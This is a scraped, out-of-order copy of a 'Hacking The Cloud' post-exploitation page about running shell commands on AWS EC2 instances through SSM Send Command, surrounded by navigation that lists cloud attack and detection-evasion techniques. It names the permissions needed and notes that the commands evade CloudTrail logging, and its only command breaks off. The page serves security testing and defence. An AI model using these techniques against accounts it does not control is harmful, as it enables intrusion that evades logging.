Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#send-command class=md-nav__link> <span class=md-ellipsis> Send Command </span> </a> </li> <li class=md-nav__item> <a href=#session-manager class=md-nav__link> <span class=md-ellipsis> Session Manager </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#send-command class=md-nav__link> <span class=md-ellipsis> Send Command </span> </a> </li> <li class=md-nav__item> <a href=#session-manager class=md-nav__link> <span class=md-ellipsis> Session Manager </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/post_exploitation/run_shell_commands_on_ec2.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Run Shell Commands on EC2 with Send Command or Session Manager</h1> <p>After escalating privileges in a target AWS account or otherwise gaining privileged access you may want to run commands on EC2 instances in the account. This article hopes to provide a quick and referenceable cheat sheet on how to do this via <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/send-command.html>ssm:SendCommand</a> or <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/start-session.html>ssm:StartSession</a>.</p> <div class="admonition tip"> <p class=admonition-title>Tip</p> <p>By default, the commands that are issued are not logged to CloudTrail. Specifically they are "HIDDEN_DUE_TO_SECURITY_REASONS". As a result, if an adversary were to leverage this tactic against an environment, defenders would need to get information about those commands from host based controls. Defenders, this is an excellent capability to validate. Alternatively, offensive security teams can do the testing.</p> </div> <h2 id=send-command>Send Command<a class=headerlink href=#send-command title="Permanent link">&para;</a></h2> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/send-command.html>ssm:SendCommand</a></li> </ul> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 20v2.97h-2V20h-3v-2h3v-3h2v3h3v2zM12 1l9 4v6c0 .9-.1 1.78-.29 2.65A5.8 5.8 0 0 0 18 13a6 6 0 0 0-6 6c0 1.36.45 2.62 1.22 3.62L12 23c-5.16-1.26-9-6.45-9-12V5z"/></svg></span> <strong>Recommended but not Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ssm/list-command-invocations.html>ssm:ListCommandInvocations</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/describe-instances.html>ec2:DescribeInstances</a></li> </ul> </li> </ul> </div> <p>You can send arbitrary shell commands to EC2 instances from the AWS CLI via the following:</p> <div class=highlight><pre><span></span><code>aws ssm send-command \
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#send-command class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - 